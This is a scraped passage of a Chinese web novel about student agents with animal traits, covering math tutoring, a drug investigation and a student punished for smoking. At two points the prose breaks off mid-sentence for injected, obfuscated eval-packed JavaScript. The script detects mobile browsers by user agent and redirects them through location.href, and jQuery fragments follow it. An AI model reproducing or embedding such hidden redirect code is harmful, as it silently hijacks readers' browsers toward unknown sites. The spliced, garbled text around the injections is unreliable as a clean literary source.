谢燃转头看着他,陆大寻的额头上有薄薄一层汗,尾巴因为兴奋微微炸着,显然是一路小跑回来的。他从桌下搬了张椅子,侧着身子挤到谢燃旁边,凑过来看桌上的练习册。
“你胆子真大,自习课偷溜出去买奶茶。”谢燃拿起红豆奶茶,插上吸管,吸了一大口。
“风险与收益并存。”陆大寻也拿起一杯,吸了一口,然后看到桌上摊开的数学练习册,眼睛亮了,“纪哥在给谢哥补课?”
“嗯。”纪砚头都没抬,正在写第三题的解题步骤。
“我也要!我数学也一般!”陆大寻把自己的椅子挪近了,凑到桌边,“纪哥你讲哪题?二次函数?我会我会,我教你啊谢哥——”
“你教他?”纪砚抬起头,看着陆大寻。
“不是不是不是,我辅助你教。”陆大寻赶紧摆手,“纪哥你讲你讲,我在旁边学习。”
谢燃看着陆大寻那副认真的样子,忍不住笑了。他往旁边挪了挪,给陆大寻让出点位置。三个人挤在两张桌子旁边,头凑得很近,奶茶杯排成一排,草稿纸上写满了纪砚的字迹。
第三题是应用题,关于利润最大化的,需要建立二次函数模型。纪砚先读了一遍题,然后把题目中的关键信息提取出来,写在草稿纸上。他的思路很清晰,每一步都有理有据,谢燃虽然反应慢一点,但跟着他的节奏也能听懂。
陆大寻在旁边偶尔插一句嘴,有时候问的问题很刁钻,连纪砚都要想一下才能回答;有时候问的问题又很蠢,蠢到谢燃都能回答。纪砚对他的态度和对谢燃不一样——对谢燃是“我教到你懂为止”,对陆大寻是“你自己想,想不出来再问我”。
“纪哥你偏心。”陆大寻嘟囔了一句。
“没有。”
“你就是偏心,你对谢哥有耐心,对我没有。”
“因为他比你笨。”
谢燃正在喝奶茶,听到这话差点呛死。他咳了两声,用纸巾擦了擦嘴角,瞪着纪砚:“你说谁笨?”
“你。”纪砚面不改色,“你数学47,他数学92。”
“……那是以前。我现在能及格了。”
“61也是及格。”
“61也是进步!”
陆大寻在旁边笑得趴在桌上,尾巴甩来甩去,差点把奶茶扫到地上。谢燃用脚拦住他的尾巴,陆大寻抓住谢燃的脚踝不撒手,两个人又在桌子底下扭成一团。纪砚看着他们,叹了口气,把草稿纸从两人中间抽出来,放到一边,等他们闹完了再继续讲。
闹了大概两分钟,谢燃和陆大寻都累了,各自坐好,喘着气。纪砚把草稿纸重新铺开,笔尖点在最后一步上。
“所以最大值是当x等于十五的时候,y等于八百。听懂了吗?”
谢燃看着那个答案,想了想,点了点头。陆大寻也点了点头。
“那你们互相讲一遍。”
谢燃和陆大寻对视了一眼。谢燃先开口,把解题步骤用自己的话说了一遍,虽然说得磕磕绊绊,但关键步骤都讲到了。陆大寻听完,补充了两点谢燃漏掉的细节,然后自己也讲了一遍。纪砚听着,等两人都讲完了,微微点头。
“行了,第三题过了。”
谢燃把第三题抄到练习册上,字写得歪歪扭扭,但步骤是对的。他合上练习册,把草稿纸折好夹进课本里,靠在椅背上,喝了一大口奶茶。
“纪砚。”
“嗯。”
“你以后每天都给我补课吧。”
“我每天都在给你补课。”
“我是说正式的,每天都留半小时。”
纪砚看了他一眼,那眼神里有光——不是惊讶,是那种“你终于开窍了”的光。
“行。”他说。
陆大寻在旁边举起手:“我也要!”
“你不用。”纪砚说。
“为什么!”
“因为你数学92。”
“92还可以更高嘛!我想考100!”
“那你找老师。”
陆大寻瘪了瘪嘴,尾巴垂了下去。谢燃拍了拍他的肩膀,用过来人的语气说:“兄弟,知足吧。我47都没说什么。”
“谢哥你47的时候也没这么老实。”陆大寻嘟囔。
“我那是战略性放弃,把精力集中在优势科目上。”
“你的优势科目是什么?”
“语文。”
“你语文多少?”
“62。”
“……那也是及格。”
“及格就是优势。”
陆大寻张了张嘴,发现自己竟然无法反驳。
放学铃响的时候,三个人一起走出教室。走廊里的人已经不多了,夕阳从窗户照进来,把整条走廊切成明暗相间的格子。陆大寻走在前面,书包在身后甩来甩去,嘴里哼着不知道什么歌。谢燃走在中间,尾巴慢悠悠地晃着。纪砚走在最后面,手里拿着一个文件夹——不是情报,是谢燃的数学错题本,他今晚要整理新的题型。
走到校门口的时候,陆大寻停下来,转过身。
“谢哥纪哥,明天见!”
“明天见。”谢燃说。
“路上小心。”纪砚说。
陆大寻点了点头,跑向公交站台。他跑了几步又停下来,回头喊了一句:“纪哥,你今天给谢哥补课的时候,耳朵又红了!”
纪砚的表情没有任何变化:“光线问题。”
“太阳都下山了哪来的光线!”
“路灯。”
陆大寻笑出了声,转身跑了,尾巴在夕阳中甩得像一面白色的旗。谢燃看着纪砚,纪砚看着陆大寻跑远的方向,两个人谁都没说话。沉默了几秒,谢燃先开口了。
“走吧。”
“嗯。”
他们拐进和风中街。夕阳把整条街染成了橘红色,榕树的影子投在地上,像一大片静止的乌云。海风吹过来,带着咸味和深秋的凉意。谢燃把手插进口袋里,摸到了那张折好的纸——他一直没有拿出来,也没有扔掉,就那么放在口袋里,和钥匙、耳机线、一颗不知道什么时候塞进去的糖混在一起。
“纪砚。”
“嗯。”
“你今天讲的第三题,我其实没完全听懂。”
“哪里没懂?”
“最后那一步,为什么x等于十五的时候y最大?我记住公式了,但不明白为什么。”
纪砚放慢了脚步,想了想,说:“因为二次函数的图像是抛物线,开口向下的时候,顶点就是最高点。对称轴是负二a分之b,你把系数代进去,算出来就是十五。顶点在对称轴上,所以x等于十五的时候y最大。”
谢燃听着,脑子里在努力画那个抛物线的形状。他画出来了,但顶点和对称轴的关系还是有点模糊。他皱着眉头,尾巴不晃了,尾尖微微绷紧。
纪砚看到了他的表情。
“回去我给你画图。”他说。
“好。”
骨传导通讯器里传来程宇的声音,这次没有刚睡醒的沙哑,而是带着一种紧绷的、警觉的质感:“谢哥,纪哥,有情况。谭照和姜雅刚才在校医室碰头了。不是普通的碰头——谭照进去了二十分钟,窗帘拉死了。出来的时候谭照手里拿着一个信封,姜雅站在门口,表情不太好。”
谢燃和纪砚对视了一眼。
“信封里装的什么?”纪砚低声问。
“看不到,但谭照把信封放进了内侧口袋,拍了两下,像是确认东西在。”程宇的声音压得很低,“需要我今晚去谭照家走一趟吗?”
“不用。”纪砚说,“不要打草惊蛇。继续观察。”
“收到。”
谢燃的尾巴绷得更紧了。谭照和姜雅的碰头,时间比平时长,气氛不对。信封——可能是钱,可能是情报,也可能是药。不管是什么,这条线在动。动就比不动好,动就会露出破绽。
“程宇。”谢燃开口。
“在。”
“冥安今天的状态怎么样?”
“不太好。”程宇的语气沉了沉,“他今天下午没去校医室,但我在三楼厕所门口遇到他了。他的脸色很差,嘴唇发白,走路的时候左腿有点拖。信息素的味道——很乱,像什么东西在翻涌,但又被压住了。他好像在忍着什么。”
“停药了?”谢燃问。
“不确定。也可能是药量不够了。”
纪砚的眉头皱了起来。XK-9的戒断反应包括信息素暴走、腺体剧痛、意识模糊。如果冥安真的在经历戒断,那他的状态会越来越差,直到失控。而一旦失控,后果不堪设想——一个信息素暴走的Alpha在学校里,会造成什么影响,不用想都知道。
“程宇,今晚你去冥安家附近看看。”纪砚说,“不要靠近,远距离观察。看他有没有异常。”
“收到。”
通讯器安静了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536129|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谢燃和纪砚继续往前走,步子比平时快了一些。路灯一盏一盏地亮起来,把他们的影子投在地上,一前一后,交叠在一起。
回到公寓,谢燃换了鞋,把书包扔到沙发上,然后坐到书桌前——不是他的书桌,是共用的那张,靠窗,铺着灰色的桌布,上面摆着两个人的台灯和笔筒。纪砚把数学练习册和草稿纸拿出来,摊在桌上,翻到今天讲的那道应用题。
“来。”他拉过椅子,坐到谢燃旁边。
谢燃坐过去,两个人肩并肩,台灯的光把他们拢在一个暖黄色的圈里。纪砚重新画了抛物线的图像,标出了对称轴、顶点、与x轴的交点。他用红笔标出了关键位置,用蓝笔写了推导过程,用黑笔写了最终答案。一张草稿纸上五颜六色的,但一点都不乱,像一幅精心绘制的图纸。
谢燃看着那张图,忽然觉得那个抛物线没那么抽象了。他指着顶点位置,说:“这里就是最高点?”
“对。”
“x等于十五的时候?”
“对。”
“那如果x等于十四或者十六呢?”
“你自己算。”
谢燃拿起笔,在草稿纸上算了算,把x等于十四和十六分别代入函数,算出来的y值都比八百小。他看着那两个数字,点了点头。
“懂了。”他说。
“真的懂了?”
“真的。这次是真的。”
纪砚看着他的眼睛,确认他不是在敷衍,然后拿起笔在练习册的最后一道题旁边打了个勾。
“下一题。”纪砚翻到下一页。
“今天不是讲了三道了吗?”
“那是作业。现在是补课,补课的内容是额外的。”
谢燃叹了口气,但嘴角是往上翘的。他重新拿起笔,看着纪砚在草稿纸上写新的题目。
窗外的天彻底黑了。珠海市的夜空中挂着一弯细月,星星不多,但很亮。远处的海面上有船灯在闪烁,像一颗颗低垂的星星。公寓里很安静,只有笔尖在纸上划过的沙沙声和偶尔翻书的声音。
纪砚的台灯亮着,谢燃的台灯也亮着。两个人的影子投在墙上,一大一小,交叠在一起,像一棵榕树的气根,一根缠着一根,分不清哪根是谁的。
谢燃在做题的时候,尾巴垂在椅子下面,尾尖偶尔扫一下纪砚的小腿。纪砚没有躲开。
他想,就这样吧。
数学题很难,但纪砚会教他。任务很难,但纪砚会和他一起做。关系很难,但——
不,关系不难。
因为他们的关系从来不需要定义。它就是它自己。是上铺和下铺,是煎鸡蛋和热豆浆,是校门口那句“路上小心”,是深夜从上面垂下来的尾巴,是纪砚抓住他手腕时说“我没死”。是那些不需要说出口的、被做出来的、日复一日累积起来的、比任何语言都重的东西。
谢燃写完最后一道题,把笔放下,伸了个懒腰。他的尾巴从椅子下面抬起来,在身后晃了两下。
“写完了。”他说。
纪砚拿过练习册检查了一遍,在最后一题的答案旁边画了一个勾。
“全对。”他说。
谢燃的尾巴晃得更快了。
“纪砚。”
“嗯。”
“明天早上我想吃煎鸡蛋。”
“每天都吃。”
“明天想吃两个。”
“你吃得完吗?”
“吃得完。我今天做了好多题,脑子消耗大。”
纪砚看了他一眼,那眼神里有光——不是压着的光,是从深处浮上来的、暖暖的光。
“行。”他说。
谢燃笑了,笑得眼睛弯弯的。他从椅子上站起来,走到冰箱前,打开门,拿出那盒剩下的芒果千层——陆妈妈做的,已经吃了大半,还剩一小块。他切了一半,放在盘子里,端到书桌前。
“吃蛋糕。”他把盘子放在纪砚面前。
“你吃吧。”
“一人一半。”
纪砚看了看那块蛋糕,又看了看谢燃。谢燃的眼睛亮晶晶的,尾巴在身后慢悠悠地晃着,嘴角还带着刚才没散去的笑意。
纪砚拿起叉子,切了一小块,塞进嘴里。
“甜吗?”谢燃问。
“还行。”
“还行是多行?”
“比‘好吃’少一点。”
谢燃笑了,自己也切了一块吃。芒果的甜味在嘴里散开,混着奶油的味道,腻腻的,但很舒服。他靠在椅背上,看着窗外的夜色,尾巴搭在膝盖上。
“纪砚。”
“嗯。”
“你说冥安现在在干什么?”
纪砚放下叉子,想了想。
“不知道。但不管他在干什么,他大概都不好受。”
谢燃沉默了几秒,把最后一口蛋糕吃完,把盘子推到一边。
“明天去看看他。”他说。
“看谁?”
“冥安。不跟踪,不观察,就是——看看。以同学的身份。”
纪砚看着他,没有说话。但他的沉默不是拒绝,是默许。
窗外的月亮爬得更高了,月光从窗帘的缝隙里漏进来,在地板上画了一条银白色的线。台灯的光还亮着,把两个人的影子拢在一起。
谢燃站起来,把盘子洗了,把书桌收拾干净,把纪砚的笔放回笔筒——他知道纪砚的习惯,笔尖要朝同一方向,颜色要按顺序排列。他做这些的时候,纪砚站在旁边,没有说话,但嘴角有一个很小的弧度。
“晚安。”谢燃说。
“晚安。”
谢燃爬上上铺,躺下来,把被子拉到下巴。下铺传来纪砚关灯的声音,然后是床垫轻微的吱呀声,然后是一片安静。
谢燃把被子拉过头顶,闭上眼睛。
他的尾巴从床沿垂下去,在半空中晃了晃。
下铺,一只手伸出来,轻轻地、短暂地碰了一下他的尾尖,然后缩回去了。
谢燃的尾巴卷了一下。
他没有睁开眼睛。
但他的嘴角翘了起来。
18. 烟味与罚站
次日下午年绪的报告到了。
谢燃正趴在课桌上假装听物理课,手机在桌斗里震了一下。他偷瞄了一眼,是韩征远发来的消息:“放学别走,来基地。”
只有五个字,没有前因后果,没有解释。
谢燃把手机塞回桌斗,用尾巴戳了戳纪砚的小腿。纪砚没回头,但右手在桌面上轻轻敲了两下——收到了。
放学后,两人没有像往常一样走路回公寓,而是拐进了和风中街旁边的一条小巷子。巷子尽头停着一辆黑色的SUV,还是那种看不清里面的深色车窗。谢燃拉开后门,一屁股坐进去,发现韩征远已经在里面了,坐在后排的另一侧,手里拿着一个平板电脑,眉头皱得能夹死苍蝇。
“韩队。”纪砚坐进副驾驶,系好安全带。
“嗯。”韩征远头都没抬,手指在平板上划了一下,然后把平板递给谢燃,“年绪的分析报告,刚出来的。你们先看,看完再说。”
谢燃接过平板,屏幕上是年绪那标志性的工整字体,密密麻麻写了大概两页。他飞快地扫了一遍,眉头越皱越紧,然后递给副驾驶的纪砚。
纪砚接过去,看得很慢,每一行都读了两遍。
车内安静了大约三分钟,只有空调出风口的嗡嗡声和窗外偶尔经过的电动车喇叭声。
“XK-9。”纪砚先开口了。
“嗯。”韩征远靠在座椅上,双手抱胸,“年绪从你们送来的玻璃碎片上提取到了XK-9的残留物。浓度很高,说明冥安服用的剂量不小。而且年绪说,这种药物在熔炉时期是注射用的,现在被做成了口服液——配方有改动,但核心成分没变。”
“谁改的配方?”谢燃问。
“不知道。但能改动XK-9配方的人,一定是当年熔炉的核心研究员。”韩征远的声音沉了几分,“熔炉覆灭后,核心研究员全部失踪,一个都没抓到。ASI追查了十五年,只抓到一些外围人员。”
“织网者。”纪砚说。
韩征远看了他一眼,没有否认,也没有确认。
“还有一件事。”韩征远从平板上调出另一份报告,“年绪比对了一下陆大寻和O147的基因数据,相似度从92%提高到了96.5%,因为她找到了O147的一份医疗记录,里面有更详细的基因信息。96.5%的相似度——这不是远亲,是一级亲属。”
车内又安静了。
谢燃的手指在膝盖上无意识地敲了两下。一级亲属。父母、子女、兄弟姐妹。陆大寻是O147的儿子,或者弟弟。不管哪种情况,他都是熔炉实验体的直系血亲。
“他知道吗?”谢燃问。
“不知道。”韩征远说,“年绪没有告诉他,我们也没有。这件事暂时只有我们三个人知道。”
“要告诉他吗?”
“不是现在。”韩征远揉了揉眉心,脸上带着一种谢燃熟悉的疲惫,“他现在掺和得已经够多了,再让他知道自己的身世,他会更不要命地往里面冲。”
谢燃想说“他本来就已经不要命了”,但话到嘴边又咽了回去。
车内又安静了。窗外的天色渐渐暗下来,路灯亮了起来,橘黄色的光透过车窗,在韩征远的脸上投下一层暖色的光。但他的表情不是暖的,是那种被很多事情压了很久之后、已经不知道该怎么放松的表情。
谢燃看着韩征远,忽然觉得嘴有点痒。
不是生理上的痒,是那种熟悉的、想要点一根烟的冲动。他在曙光学院的时候不抽烟,觉得那玩意儿呛人。后来开始出任务,压力大了,有一次在韩征远的车里坐了半个小时,韩征远递给他一根,他抽了一口,呛得眼泪直流。韩征远在旁边笑,笑得方向盘都快握不住了。
后来他学会了。再后来,他就戒不掉了。
任务期间不能抽,这是规矩。烟味会暴露行踪,会留在衣服上、手指上、呼吸里,会被信息素敏感的人闻到。他忍了两周了,忍得很难受。
“韩队。”谢燃忽然开口。
“嗯。”
“给我一根。”
韩征远转过头,看着他,眼睛眯了一下:“任务期间不能抽烟。”
“我知道。但你现在不是在我旁边吗?你抽我就抽,你不抽我不抽。”谢燃的尾巴在座椅上不安分地晃了晃,“而且我们刚讨论完这么压抑的事,你不觉得需要一根烟来平复一下心情吗?”
韩征远看着他,没动。
“就一根。”谢燃竖起一根手指,表情诚恳得像在求神明保佑,“我憋了两周了,再憋下去我要疯了。你想想,一个疯了的火狐Alpha在学校里会干什么?会把数学课本烧了,会把教室点了,会——”
韩征远从口袋里掏出烟盒,抽出一根,叼在自己嘴里,又抽出一根,递给谢燃。这次他没有收回去,也没有说“忘了你现在是学生”。
因为谢燃的表情实在太可怜了。
尾巴耷拉着,耳朵微微垂下来,眼睛亮晶晶的,像一只被关在笼子里太久的小狐狸。纪砚从副驾驶回头看了一眼,什么都没说,转回去了。
谢燃接过烟,动作快得像怕韩征远反悔。他从口袋里摸出打火机——他随身带着,虽然任务期间不能抽,但打火机从来不离开身上,这是一种心理安慰。
“咔嗒。”
火苗蹿起来,照亮了他的脸。他把烟凑到火苗上,点着,深深地吸了一口。
烟雾在肺里转了一圈,然后从鼻腔里慢慢溢出来,在车内弥漫开来。那味道是辣的、苦的、带着一丝焦油的气息,像一把小刷子,把他紧绷了两周的神经一根一根地刷软了。
“呼——”他吐出一口烟,整个人往后一靠,尾巴在座椅上舒展开来,“活了。”
韩征远也点着了自己的烟,吸了一口,然后摇下车窗,把烟雾吐到窗外。珠海市的晚风吹进来,带着海水的咸味和榕树的气息。
“别在车里抽太多。”韩征远说,“明天你们还要上课,身上有烟味会被发现。”
“知道了知道了。”谢燃又吸了一口,这次吸得浅一些,“我就抽半根,剩下的掐了。”
纪砚始终没有回头,但他的右手在膝盖上轻轻敲了两下——那个信号的意思是:别抽了。
谢燃假装没看到。
半根烟的时间很短。谢燃把烟掐灭在车门上的烟灰缸里,又打开车窗让风吹了一会儿,确认身上的烟味散得差不多了,才关上车窗。
“行了,走吧。”韩征远把烟掐了,摇上车窗,“送你们回去。”
SUV发动了,驶出巷子,拐进和风中街。路灯一盏一盏地从车窗外掠过,把车内照得忽明忽暗。谢燃靠在座椅上,看着窗外倒退的城市,心情比来的时候好了那么一点点。
但只有一点点。
因为他知道,明天早上,他手上的烟味可能散不掉。
纪砚的担心是有道理的。
周四早晨,他走进校门的时候,还在闻自己的手指。
洗手液洗了三遍,沐浴露洗了两遍,还在阳台上吹了十分钟的风。他觉得自己闻不到烟味了,但Alpha的嗅觉和Beta不一样,普通Beta闻不到的味道,一个鼻子灵敏的Alpha或者Omega可能一靠近就察觉了。
和风四中的教导主任姓陈,是个四十多岁的Beta女性,戴着一副金丝眼镜,头发盘得一丝不苟,走路带风,说话像机关枪。她以严厉著称,全校学生没有不怕她的——不是因为她会打人,而是因为她那双眼睛,看谁谁心虚。
谢燃今天看到她站在校门口的时候,心里就咯噔了一下。
“谢燃。”陈主任的声音从三米外传来,精准得像制导导弹,“你过来。”
谢燃的脚步顿了一下。纪砚在旁边看了他一眼,那眼神里有三个字:你完了。
谢燃深吸一口气,脸上挂着一个无辜的笑容,走到陈主任面前:“陈主任早。”
陈主任上下打量了他一眼,目光像扫描仪一样从他头顶扫到脚尖,又从脚尖扫回头顶。然后她微微前倾,鼻子动了动。
谢燃的笑容凝固了零点三秒。
“你手上的味道。”陈主任的声音不大,但每个字都像钉子,“怎么回事?”
谢燃低头看了看自己的手。他把手翻过来,手心朝上,又翻回去,手背朝上,表情无辜得像刚出生的羔羊:“什么味道?陈老师,我早上洗了手的。”
“烟味。”陈主任的眼镜片在晨光中反了一下光,看不清她的眼睛,但谢燃能感觉到那道目光的重量,“你抽烟了?”
“没有没有没有!”谢燃摇头摇得像拨浪鼓,尾巴在身后绷得笔直,“陈老师,我不抽烟的,我怎么可能抽烟呢,我还是个学生——”
陈主任没有被他这一套糊弄过去。她伸出手,握住谢燃的右手腕,抬起来,凑近闻了一下。谢燃不敢挣开,只能乖乖站着,心里已经把韩征远骂了八百遍——给你递烟,给你递烟,你就不能递根没味的?
“烟味很淡,但还在。”陈主任松开他的手腕,双手抱胸,表情严肃得像在宣读判决书,“谢燃,学校规定,学生不得吸烟。你是转校生,刚来两周,可能不清楚校规。但不管怎样,违反规定就要接受处罚。”
“陈老师,我真的没有——”
“手伸出来。”
谢燃把手伸出来。
陈主任又闻了一下,这次闻得更仔细,眉头皱得更紧了:“不是二手烟,是直接吸烟留下的味道。你昨天晚上抽的?”
谢燃张了张嘴,想说“不是”,但陈主任的表情告诉他,狡辩没有用。这位教导主任不是那种会被学生糊弄的人,她见过的撒谎学生比谢燃见过的嫌疑人还多。
“……陈老师,我——”
“不用解释了。”陈主任松开他的手,从口袋里拿出一个本子,翻开,在上面写了一行字,“抽烟违反校规第十二条,罚站一个上午。第一节课开始前去教导处门口站着,站到第四节课结束。中午吃饭时间去吃饭,吃完回来继续站,站到下午第一节课开始。”
谢燃的眼睛瞪得溜圆:“一个上午?陈老师,就一根烟——”
“一根烟也是烟。”陈主任合上本子,看着他,语气没有任何商量的余地,“如果你觉得处罚太重,可以叫家长来学校,我跟家长谈。”
叫家长。
谢燃没有家长。韩征远算吗?韩征远是他的上级,不是他的家长。而且如果韩征远知道他被罚站是因为抽了他递的那根烟,韩征远的表情一定很精彩——谢燃甚至有点想看看那个画面。
但他还是选择了认罚。
“好的,陈老师,我知道了。”谢燃低下头,尾巴垂下来,整个人像一只被淋了雨的狐狸,“我去站。”
陈主任看了他一眼,表情缓和了一点点,但没有收回处罚决定。
“去吧。”她说,“第一节课铃响之前到教导处门口。”
谢燃点了点头,转身往教学楼走。纪砚跟在他旁边,沉默了三秒,然后开口:“我说什么来着。”
“你什么都没说。”
“我在车上敲了两下。”
“那是暗号,不是说话。”
“意思一样。”
谢燃深吸一口气,又吐出来,那口气里带着一股他自己都闻得到的、残余的、若有若无的烟味。
“纪砚。”
“嗯。”
“韩队的烟是不是特别冲?”
“是。”
“我就知道。”谢燃咬牙切齿,“下次我自己买,买那种没味儿的。”
“你还想有下次?”
“我是说任务结束之后!”
纪砚没再说话,但他的嘴角有一个很小的弧度——那个弧度比平时大了那么一点点。
第一节课铃响之前,谢燃准时出现在了教导处门口。
教导处在教学楼一层,走廊最东边,正对着操场。门口有一小块空地,大约两平方米,地上铺着灰色的瓷砖,瓷砖的缝隙里塞着黑色的污垢,看起来很久没有认真打扫过了。
谢燃站在那里,背靠着墙,双手插兜,尾巴垂在身后,表情是一种介于“我很冤枉”和“我认了”之间的微妙状态。
路过的学生纷纷投来好奇的目光。
“那不是高二(6)班的谢燃吗?”
“他怎么站这了?”
“被罚站了吧,抽烟?”
“不会吧,他看起来不像会抽烟的人啊。”
“你看起来也不像会考倒数的人,你上次不也考了倒数?”
“你能不能别提那事?”
谢燃听着那些窃窃私语,脸上的表情没有任何变化,但尾巴尖在地面上轻轻扫了一下——那是他在克制情绪时的习惯动作。
第一节课是数学。纪砚坐在教室里,面前摊着课本,但目光时不时地飘向窗外。他的位置靠窗,能看到操场的一角,但看不到教导处门口。他只能想象谢燃现在的样子——靠在墙上,百无聊赖地看着来来往往的学生,偶尔跟路过的老师点个头,偶尔用尾巴扫一扫地上的灰。
纪砚的笔在笔记本上写了几个字,又划掉了。他发现自己没办法集中注意力。
不是因为担心谢燃——罚站不会要人命。而是因为他知道谢燃最受不了的就是无聊。谢燃可以忍受疼痛、疲惫、危险,但他忍受不了无事可做。让他站一个上午什么都不干,比让他跟十个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536130|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
特工打一架还难受。
第二节课下课的时候,陆大寻跑来找纪砚。
“纪哥纪哥!谢哥怎么了?我听说他被罚站了?因为抽烟?”陆大寻的眼睛瞪得像铜铃,尾巴在身后甩得飞快,“谢哥真的抽烟?他看起来不像啊?”
“他偶尔抽。”纪砚说。
“那为什么被罚站?被谁抓到了?”
“陈主任。闻到了他手上的烟味。”
陆大寻的嘴巴张了张,又闭上了。他的表情在“哈哈哈哈”和“谢哥好惨”之间反复横跳,最后选择了后者:“谢哥好惨。我要去看他。”
“别去。”
“为什么?”
“你现在去看他,他只会更烦。”
陆大寻想了想,觉得纪砚说得对。谢燃现在需要的是安静,不是同情。他点了点头,回到自己的座位上,但整个上午都在走神,好几次被老师点名回答问题,回答得驴唇不对马嘴。
第三节课的时候,年绪发了一条消息到纪砚的手机上。纪砚在桌斗里偷偷看了一眼:
年绪
【听说谢燃被罚站了?哈哈哈哈哈哈】
后面没有标点符号,但纪砚能想象年绪打字时面无表情但眼睛里带着笑意的样子。年绪是那种不会笑出声的人,但她会用文字表达“哈哈哈哈”,这种反差本身就很好笑。
纪砚没有回复。
第四节课的时候,谢燃已经站了将近三个小时。
他的腿有点酸,但不是问题。曙光学院的训练比这残酷多了,站军姿一站就是半天,还得在腿上绑沙袋。问题是无聊——太无聊了。他看着操场上的榕树,数了数气根的数量,又数了数叶子,又数了数飞过的鸟。他数了三遍,每一遍数字都不一样,因为他数着数着就走神了,走神了就从头开始数。
教导处的门在他身后,关着。陈主任在里面办公,偶尔出来接个水或者上个厕所,每次路过谢燃身边都会看一眼,但什么话都没说。
谢燃每次都会露出一个标准的、无辜的、认错的微笑。
陈主任每次都面无表情地走过去。
中午吃饭铃响的时候,谢燃的腿已经快不是自己的了。他活动了一下脚踝,骨头咔咔响了两声,然后走向食堂。他的步子比平时慢了很多,不是因为腿疼,而是因为站了太久,肌肉有点僵硬。
食堂里人很多,纪砚已经帮他打好了饭,放在靠窗的老位置上。陆大寻也在,看到谢燃走过来,赶紧站起来,让出里面的座位——里面的座位靠墙,可以靠着,舒服一点。
谢燃一屁股坐下,整个人靠在墙上,发出一声长长的叹息。
“谢哥,你还好吗?”陆大寻小心翼翼地问。
“还活着——”谢燃拿起筷子,夹了一块红烧肉塞进嘴里,嚼了两下,“就是腿有点酸。不是大事。”
“陈主任真的闻到烟味了?你昨天真的抽烟了?”
谢燃看了纪砚一眼。纪砚正在喝汤,表情淡得像什么都没听到。
“抽了半根。”谢燃说,“昨天晚上。”
“为什么抽烟?你不是说你不抽吗?”
“心情不好。”
陆大寻张了张嘴,想问为什么心情不好,但看到谢燃的表情,把问题咽了回去。他低下头,扒了一口米饭,含混地说:“那你下午还要站?”
“站……站到第一节课开始。”
“那你还剩——两节课加一个大课间?”
“数学真好。”谢燃竖起一根大拇指。
陆大寻不知道该说什么,只好继续吃饭。他把自己餐盘里的鸡腿夹到谢燃的盘子里,说:“谢哥你多吃点,补充体力。”
谢燃看着那个鸡腿,愣了一下,然后笑了。
“谢了,小孩。”他说。
“我不是小孩!”陆大寻抗议,但抗议的声音很小,因为他看到谢燃的笑容比刚才真实了一点。
下午第一节课铃响的时候,谢燃准时回到了教导处门口。
他又站了一个中午——不是罚站,是中午吃饭时间不算罚站,但他吃完饭后没地方去,就在教导处门口站着等。陈主任吃完饭回来,看到他还在那里,脚步顿了一下。
“你可以去教室休息。”陈主任说。
“不用了,陈老师,我在这站着就行。”谢燃笑了笑,“反正也没多久了。”
陈主任看了他一眼,没说什么,推门进了办公室。
下午第一节课是体育课。谢燃站在教导处门口,听着操场上传来的哨声和口号声,心想自己今天大概是跑不成了。他倒是不介意——体育课跑八百米也挺累的,罚站虽然无聊,但至少不用出汗。
他的手机在口袋里震了一下。是纪砚发来的消息,只有四个字:“坚持住。”
谢燃盯着那四个字看了两秒,打字回复:“你在上体育课还能发消息?”
“老师没看到。”
“你不怕被没收?”
“不怕。”
谢燃笑了一下,把手机塞回口袋。
第一节课快结束的时候,陈主任从办公室出来,手里拿着一个文件夹。她看了看谢燃,又看了看手表。
“行了,回去吧。”
谢燃愣了一下:“陈老师,还没到第一节课结束——”
“提前十分钟,算是你态度端正。”陈主任的语气依旧严肃,但谢燃注意到她的嘴角微微动了一下,“下次别再让我闻到烟味。”
“不会的不会的。”谢燃摇头摇得像拨浪鼓,“陈老师你放心,我这辈子都不在家抽烟了。”
“在哪都不行。”
“……好的陈老师。”
陈主任看了他一眼,转身走了。高跟鞋的声音在走廊里哒哒哒地远去,消失在拐角处。
谢燃站在教导处门口,深吸了一口气,又吐出来。他活动了一下肩膀,转了转脖子,骨头咔咔响了几声。然后他迈开步子,走向操场。
阳光很好,榕树的叶子在风中沙沙作响。操场上体育课的那个班正在集合,体育老师在讲什么,学生们站得歪歪扭扭的。纪砚站在队伍的最后面,背挺得很直,一眼就能看到。
谢燃走到操场边上,没有进去,站在榕树下等着。纪砚看到他,微微点了一下头。
谢燃靠在榕树上,双手插兜,尾巴在身后慢悠悠地晃着。阳光从叶缝里漏下来,落在他身上,碎成一片一片的金色。
他抬起手,闻了闻指尖。
烟味还在,但已经很淡了,淡到几乎闻不到。他皱了皱鼻子,把手放下来。
“韩队的烟,下次不抽了。”他自言自语地嘟囔了一句。
但他说这话的时候,嘴角是往上翘的。
19. 跟踪与酸菜鱼
罚站事件之后,谢燃老实了整整两天……
周五他没碰烟,周六没碰,周日也没碰。不是因为突然有了觉悟,而是因为纪砚每天早晚各检查一次他的手指,像机场安检一样认真,连指缝都不放过。谢燃被他闻手指的时候总觉得别扭,但又说不上来哪里别扭——大概是因为纪砚凑近的时候,竹叶清露的味道会扑过来,清清冷冷的,把他整个人裹住。
“没抽。”周日晚上,谢燃把手伸给纪砚,语气里带着一丝不耐烦,“你都闻了八遍了,我说没抽就是没抽。”
“嗯。”纪砚松开他的手腕,退后一步,“明天继续保持。”
